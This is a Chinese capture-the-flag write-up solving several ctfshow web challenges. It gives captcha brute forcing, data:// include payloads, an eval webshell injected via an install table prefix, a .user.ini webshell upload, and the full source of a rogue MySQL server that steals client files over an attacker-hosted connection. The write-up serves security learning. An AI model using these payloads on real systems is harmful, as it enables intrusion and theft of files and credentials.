captcha

知道了账号为admin

我们点击无脑,给了我们一个密码本让我们爆破
这个音频太阴间了

我们直接爆破

发现验证码应该是无条件不刷新。
无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。换句话说,攻击者可以在同一个会话下,在获得第一个验证码后,后面不再主动触发验证码生成页面,并且一直使用第一个验证码就可循环进行后面的表单操作,从而绕过了验证码的屏障作用,对登录进行暴力猜解。

成功爆破出flag
完美的缺点

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-31 21:42:40
# @Last Modified by: h1xa
# @Last Modified time: 2021-06-01 00:08:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html/');
// 限制 PHP 只能访问 /var/www/html/ 目录及其子目录,防止跨目录读取敏感文件。
$file_name = substr($_GET['file_name'], 0,16);
$file_name 被强制截断为前 16 个字符。
$file_content=substr($_GET['file_content'], 0,32);
$file_content 被强制截断为前 32 个字符
file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);
这行代码将 $file_content 写入到指定目录 /c/t/f/s/h/o/w/ 下,文件名为 $file_name。
if(file_get_contents('php://input')==='ctfshow'){
需要向服务器发送一个 POST 请求,且请求体(Raw Data)的内容必须完全等于字符串 ctfshow
include($file_name);
}
ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。
Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。
限制了读写目录,字符长度,file_put_contents更改了目录
使用data协议
file_name=data:,<?=`ls`;?>
file_name=data:,<?=`nl+*`;
ctfshow
data协议常用数据格式
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据


成功获取flag
应该不难
提示flag在/flag下
任意文件删除配合install过程getshell
这个方法是看到一篇博客分析的,主要是利用文件删除漏洞删掉install.lock文件,绕过对安装完成的判断能够再进行安装的过程,然后再填写配置信息处构使用构造的表前缀名,时一句话写入配置文件中,getshell。
表前缀:x');@eval($_POST[1]);('
但是我在使用上面版本v3.4的代码时发现,安装后install目录下不存在index.php了。分析代码发现会有安装后的删除处理,在/source/admincp/admincp_index.php的第14行:
if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) {
@unlink(DISCUZ_ROOT.'./install/index.php');
if(@file_exists(DISCUZ_ROOT.'./install/index.php')) {
dexit('Please delete install/index.php via FTP!');
}
}
那是不是老版本存在该问题呢?
我翻了历史版本代码,直到git提交的第一个版本都有如上的处理。
但还是分析一下吧,就当学习了。
**可以利用的条件:**1、安装后没有登录后台,此时install/index还没删除 2、因为其他原因没有删除


任意文件删除配合install过程getshell
数据表前缀需要更改

直接安装就行

https://xz.aliyun.com/news/7088#toc-7
baby_php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-31 13:40:37
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-31 16:36:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class fileUtil{
private $name;
private $content;
public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
在构造对象时就把 open_basedir 限制为 /var/www/html
PHP进程的任何文件操作都不能跳出 /var/www/html 目录
}
public function file_upload(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}
调用内部的 waf() 对 文件名 和 文件内容 都进行检查
两个都通过才允许写入文件
file_put_contents() 会直接把 $content 写入 $name 指定的路径
private function waf($input){
return !preg_match('/php/i', $input);
}
只要文件名或内容里出现 php(包括 PhP、pHp、PHP、<?php 等)就直接拦截
public function file_download(){
if(file_exists($this->name)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$this->name.'"');
header('Content-Transfer-Encoding: binary');
echo file_get_contents($this->name);
}else{
return False;
}
}
典型的强制下载文件实现
先判断文件是否存在
设置几个下载相关的header
直接输出文件内容
文件不存在返回 false
public function __destruct(){
}
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
如果 $_GET['a'] == 'upload',直接退出并显示 Permission denied
无法通过 GET 方式触发 upload 功能
switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new fileUtil($name,$content);
if($ft->file_upload()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new fileUtil($name,$content);
if($ft->file_download()===False){
echo $name.' download failed';
}
break;
default:
echo 'baby come on';
break;
}

主要是这里既要action不为upload又要switch case为upload
这里查了一下,switch用的弱类型比较,弱类型比较字符串和bool值为true结果为true
这⾥直接⽤了highlight_file的返回值作为$_GET['a'] 的初始值
本地测试此函数的返回值:
var_dump(highlight_file(__FILE__));
得到类型为:bool(true)
如果对$_GET['a']不进⾏赋值,则默认值为true
然后进⼊switch的弱类型判单,会得到:
var_dump(true=='upload');
漏洞利用成功,进⼊了upload的分⽀,可以上传任意 名称/内容不包含php的⽂件
之后便是正常的文件上传操作。
这里还有个waf,直接<?= 即可。但是我们传入的文件名以.php不能这么改,这里可以上传.user.ini
content=auto_prepend_file="1.txt"&name=.user.ini
content=<?=`$_GET[1]`;?>&name=1.txt
这⾥需要等待默认的⽣效时间,可以参考php配置⽂件: 为5min。
之后成功进行rce了,先1=ls,再cat flag即可。



ctfshowcms
下载下来


SS<?php
define("ROOT_PATH",__DIR__);
error_reporting(0);
$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;
include('files/'.$want.".php");
查看index.php
<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
echo "你已经安装了ctfshowcms,请勿重复安装。";
exit;
}
echo "欢迎安装ctfshowcms~"."<br>";
$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
echo "CMS管理员用户名不能为空!";
exit();
}
if($password==""){
echo "CMS管理员密码不能为空!";
exit();
}
if($dbhost==""){
echo "数据库地址不能为空!";
exit();
}
if($dbuser==""){
echo "数据库用户名不能为空!";
exit();
}
if($dbpwd==""){
echo "数据库密码不能为空!";
exit();
}
if($dbname==""){
echo "数据库名不能为空!";
exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd ) or die("数据库连接失败");
// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );
if(file_exists("ctfshow.sql")){
echo "正在写入数据库!";
}else{
die("sql文件不存在");
}
$content = "<?php
\$DB_HOST='".$dbhost."';
\$DB_USER='".$dbuser."';
\$DB_PWD='".$dbpwd."';
\$DB_NAME='".$dbname."';
?>
";
file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";
$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
fwrite($of,"ctfshowcms");
}
echo "安装成功!";
install/index.php
在index.php里存在一个文件包含,install/index.php开头有一个安装锁的检测,但这里使用的是相对路径,利用上面的文件包含,则可以利用路径的问题绕过安装锁的检测,进行二次安装。
利用MySQL 服务端恶意读取客户端任意文件漏洞
LOAD DATA INFILE
语句用于高速地从一个文本文件中读取行,并写入一个表中。文件名称必须为一个文字字符串。
LOAD DATA INFILE是 SELECT ... INTO OUTFILE的相对语句。把表的数据备份到文件使用SELECT ... INTO OUTFILE,从备份文件恢复表数据,使用 LOAD DATA INFILE
原理在于MySQL服务端可以利用 LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件
恶意脚本
https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter
_rouge_mysql_sever_read_file_result = {
}
_rouge_mysql_server_read_file_end = False
def checkVersionPy3():
return not version_info < (3, 0)
def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)
def _infoShow(*args):
if showInfo:
log.info(*args)
# ================================================
# =======No need to change after this lines=======
# ================================================
__author__ = 'Gifts'
__modify__ = 'Morouu'
global _rouge_mysql_sever_read_file_result
class _LastPacket(Exception):
pass
class _OutOfOrder(Exception):
pass
class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]
return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)
class _HttpRequestHandler(async_chat):
def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)
def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []
if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)
# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True
self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1
global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)
# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)
self.close_when_done()
elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()
class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)
if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()
self.listen(1)
def handle_accept(self):
pair = self.accept()
if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)
if _rouge_mysql_server_read_file_end:
self.close()
_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result
if __name__ == '__main__':
for name, content in rouge_mysql_sever_read_file(fileName=["/flag", "/etc/hosts"], port=3307,showInfo=True).items():
print(name + ":\n" + content.decode())
结尾改一下
在vps运行脚本,网页执行如下操作即可
http://www.xxxx.com?feng=../install/index
user=1&password=1&dbhost=xxx.xxx.xxx.xxx:3307&dbuser=1&dbpwd=1&dbname=1